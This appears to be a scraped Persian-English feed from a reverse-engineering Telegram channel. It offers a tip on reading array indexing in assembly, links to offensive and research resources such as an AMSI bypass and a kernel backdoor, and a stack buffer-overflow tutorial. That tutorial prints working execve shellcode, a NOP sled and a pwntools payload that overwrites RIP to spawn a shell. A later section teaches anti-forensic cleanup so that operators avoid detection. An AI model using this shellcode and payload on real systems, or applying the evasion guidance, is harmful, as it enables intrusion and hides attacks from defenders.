مهم‌ترین چیز این بخش برای ریورس

با دیدن ضرب‌ ها تعداد ستون‌ ها و نوع داده رو تشخیص بدید

مثال:

mov eax, DWORD PTR [rdi + rsi*20 + rdx*4]

چون 20 = 5*4 پس آرایه 2D است با 5 ستون


چطور بفهمیم pointer به عنوان iterator استفاده شده؟

اگر دیدی:

add rdi, 4

یعنی pointer افزایش داده شده

معادل:

ptr++;

اگر:

add rdi, 8

یعنی دابل (++)



The most important thing in this section for reverse

Distinguish the number of columns and data type by looking at the multiplications

Example:

mov eax, DWORD PTR [rdi + rsi*20 + rdx*4]

Since 20 = 5*4, it is a 2D array with 5 columns

How do we know that a pointer is used as an iterator?

If you see:

add rdi, 4

it means the pointer has been incremented

Equivalent to:

ptr++;

If:

add rdi, 8

it means double (++)

@reverseengine

بخش دوازدهم بافر اورفلو

پیدا کردن آدرسی که باید بپریم روش اینجا تصمیم می‌گیریم برنامه کجا اجرا بشه


RIP بگیم کجا بره

یعنی می‌خوایم یک آدرس واقعی داخل حافظه پیدا کنیم که برنامه بپره اونجا
معمولا اینجا دو راه داریم

پریدن روی شل‌ کد خودمون


وریدن روی تابعی مثل system ret2libe


پریدن روی شل‌ کد داخل استک


گذاشتن شل‌ کد روی استک

فعلا یه شل‌کد ساده execve("/bin/sh") میذاریم

shellcode = b"\x90" * 16
shellcode += b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += b"\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

نوپ‌اسلاید (\x90) فقط برای اینه که اگه آدرس دقیق نبود هم بیخیال باشه
مثلا اگه وسط نوپ‌ ها بپره هم در نهایت میرسه به شل‌ کد


پیدا کردن آدرس شل‌ کد روی استک

این قسمت همونجاست که Exploit کردن جذاب میشه
ما باید بفهمیم این شل‌ کد دقیقا تو حافظه کجا قرار گرفته

روش ساده در gdb:

(gdb) run < <(python3 exploit.py)

بعد:

(gdb) info proc mappings

یا:

(gdb) x/500x $rsp

اینجا میگردیم دنبال نوپ‌اسلاید چون پیدا کردنش راحت‌ تره
وقتی پیدا کردید مثلا یه چیزی مثل این میبینید:

0x7fffffffe2a0: 90 90 90 90

یعنی آدرس نوپ‌اسلاید 0x7fffffffe2a0

این آدرسیه که میخوایم RIP رو بفرستیم روش

ساختن پیلود نهایی برای پریدن روی شل کد

الان پیلودمون این میشه

[شل‌کد] اول کار

[A تا آفست] پر کردن فاصله

[آدرس شل‌کد] جای RIP


مثال:

from pwn import *

offset = 112
ret = p64(0x7fffffffe2a0)

shellcode = b"\x90"*16
shellcode += b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += b"\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

payload = shellcode
payload += b"A" * (offset - len(shellcode))
payload += ret

print(payload)

تست نهایی

پیلو رو اجرا میکنیم:

python3 exploit.py | ./vuln

اگر همه چی درست باشه

یه شل دارید
whoami
ls
pwd




Part 12 Buffer Overflow

Finding the address to jump to Here we decide where the program will be executed

Let's say RIP where to go

That is, we want to find a real address in memory that the program will jump to

Usually we have two ways here

Jump to our own shellcode

Jump to a function like system ret2libe

Jump to the shellcode on the stack

Putting the shellcode on the stack

For now we will put a simple shellcode execve("/bin/sh")

shellcode = b"\x90" * 16
shellcode += b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += b"\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

The nop slide (\x90) is just there to make sure that the address is not exact
For example, if you jump between nops, you will end up with the shellcode

Finding the shellcode address on the stack

This is where exploiting gets interesting
We need to find out exactly where this shellcode is located in memory

Simple method in gdb:

(gdb) run < <(python3 exploit.py)

Then:

(gdb) info proc mappings

Or:

(gdb) x/500x $rsp

Here we look for the nop slide because it is easier to find
When you find it, for example, something like this You see:

0x7fffffffe2a0: 90 90 90 90

That is the address of the nop slide 0x7fffffffe2a0

This is the address we want to send RIP to

Creating the final payload to jump to the shellcode

Now our payload will be this

[shellcode] First thing

[A to offset] fill the gap

[shellcode address] replace RIP

Example:

from pwn import *

offset = 112
ret = p64(0x7fffffffe2a0)

shellcode = b"\x90"*16
shellcode += b"\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode += b"\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"

payload = shellcode

payload += b"A" * (offset - len(shellcode))

payload += ret

print(payload)

Final test

We run the payload:

python3 exploit.py | ./vuln

If everything is correct

You have a shell

whoami
ls
pwd


@reverseengine

Bypassing Next Generation Firewalls with fragtunnel

https://hackers-arise.com/bypassing-next-generation-firewalls-with-fragtunnel

@reverseengine

Tamagotchi On reverse engineering project

https://github.com/kaero/t-on

@reverseengine

New blog on using CLR customizations to improve the OPSEC of your .NET execution harness. This includes a novel AMSI bypass that identified by author in 2023. By taking control of CLR assembly loads, we can load assemblies from memory with no AMSI scan.

https://securityintelligence.com/x-force/being-a-good-clr-host-modernizing-offensive-net-tradecraft/

Proof-of-concept for the AMSI bypass and an implementation of a CLR memory manager is on GitHub. We can implement custom memory routines and track all allocations made by the CLR.

https://github.com/passthehashbrowns/Being-A-Good-CLR-Host

#redteam #net #clr

Debugging and Reversing ALPC

https://csandker.io/2022/05/29/Debugging-And-Reversing-ALPC.html

@reverseengine

Exploiting CVE-2025-21479 on a Samsung S23

https://xploitbengineer.github.io/CVE-2025-21479

@reverseengine

VB disassembler and debugger

http://sandsprite.com/vbdec

@reverseengine

Binary Analysis Framework in Rust

https://github.com/falconre/falcon

@reverseengine

پاکسازی ردپاهای رفتاری Behavioral Artifacts

پاکسازی رفتاری یعنی چی

همیشه فقط فایل و لاگ نیست که شما رو لو میده خیلی وقتا رفتار برنامه یه اثر جانبی تو سیستم میذاره مثل اینکه برنامه رفته یه مسیر خاص یه DLL لود کرده یه NamedPipe ساخته یا حتی یه کلید رجیستری کوتاه اضافه کرده


این‌ها اسمش میشه Behavioral Artifact
و بدترین چیز اینه که خیلیاش اصلا به چشم نمیاد ولی تو فارنزیک کاملا مشخصه و لو میرید


مهمترین رد پاهای رفتاری که معمولا میوفتن

Load شدن
های غیر معمولی DLL

وقتی ابزارتون یه DLL کاستوم لود میکنه
تو ETW Sysmon و حتی حافظه اثرش میمونه

Named Pipes

اگه ابزار IPC داره و pipe ساخته بشه
تو حافظه handle table و بعضی لاگ‌ها دیده میشه

Registry Keys موقتی

بعضی ابزارا برای config یا persistence آزمایشی کلید short-lived میسازن که همون باعث لو رفتنتون میشه

Network Artifacts

حتی اگر لاگ فایل وجود نداشته باشه

route
های باز شده DNS cache ARP cache و socket states ممکنه دیده بشه

Process Tree / Parent Spoofing

خیلی وقتا افراد فکر می‌کنن چون PPID Spoof کردن پس کار تمومه ولی artifact های مثل Token Thread start time و Memory layout
دستتون رو رو میکنه و لو میرید و همه چی افشا میشه


چطور باید پاک‌شون کنید


اگه ابزارای شما DLL لود میکنه pipe میسازه یا رجیستری دستکاری میکنه باید اونا رو طوری طراحی کنید که بعد از اجرا خودش cleanup کنه


Pipeline Cleanup

بعد از کارا:

pipe
ها رو ببندید


handle
ها رو free کنید


thread
ها رو join کنید


registry موقت رو حذف کنید



%50 افراد همین کارای ساده رو نمیکنن

کم‌کردن Interaction با سیستم‌ عامل

هرچی syscalls کمتر
ردپا کمتر

محدود کردن Network Indicators

DNS cache، socket states و route
های باز شده

بعد از اتمام کار باید reset بشن


Memory Hygiene

Buffer
ها و ساختار هایی که حاوی metadata رفتاری هستن
نباید تو RAM بدون استفاده بشن





Cleaning up behavioral artifacts

What is behavioral cleaning?

It's not always just files and logs that give you away. Often, the program's behavior leaves a side effect on the system, such as the program going to a specific path, loading a DLL, creating a NamedPipe, or even adding a short registry key.

These are called Behavioral Artifacts.

And the worst thing is that many of them are not visible at all, but in forensics they are quite obvious and you get caught.

The most important behavioral traces that usually occur

Unusual DLL loadings

When your tool loads a custom DLL, it leaves traces in ETW Sysmon and even memory.

Named Pipes

If the tool has IPC and a pipe is created, it can be seen in the handle table and some logs.

Temporary Registry Keys

Some tools create short-lived keys for experimental config or persistence, which is what makes you get caught.

Network Artifacts

Even if there is no log file

Open routes, DNS cache, ARP cache, and socket states may be visible

Process Tree / Parent Spoofing

Many times people think that because PPID Spoofing is done, the job is done, but artifacts like Token Thread start time and Memory layout
will expose your hands and expose everything

How to clean them

If your tools load DLLs, create pipes, or manipulate the registry, you should design them to clean up after execution

Pipeline Cleanup

After work:

Close pipes

Free handles

Join threads

Delete temporary registry

50% of people do not do this simple thing

Reduce Interaction with the operating system

Less syscalls, whatever
Smaller footprint

Limit Network Indicators

Open DNS cache, socket states, and routes

They should be reset after completion

Memory Hygiene

Buffers and structures that contain behavioral metadata
should not be left unused in RAM

@reverseengine

Tools for analyzing UEFI firmware using radare2

https://github.com/binarly-io/uefi_r2

@reverseengine

Exploiting memory corruption vulnerabilities on Android

https://blog.oversecured.com/Exploiting-memory-corruption-vulnerabilities-on-Android

@reverseengine

A foray into Linux kernel exploitation on Android

https://mcyoloswagham.github.io/linux

@reverseengine

Helper plugin for analyzing UEFI firmware

https://github.com/zznop/bn-uefi-helper

@reverseengine

POC2025

https://www.youtube.com/playlist?list=PLHu2EA4lxh3Yvaa5sr9TYM3ywzGFBbpR8

@reverseengine

Malware Analysis

https://www.youtube.com/watch?v=sARnT7o8L60

@reverseengine

Hyper-V debugging for beginners 2nd edition

https://hvinternals.blogspot.com/2021/01/hyper-v-debugging-for-beginners-2nd.html

@reverseengine

Hyper-V memory internals. EXO partition memory access

https://hvinternals.blogspot.com/2020/06/hyper-v-memory-internals-exo-partition.html

@reverseengine

KOPYCAT - Linux Kernel module-less implant backdoor

https://github.com/milabs/kopycat

@reverseengine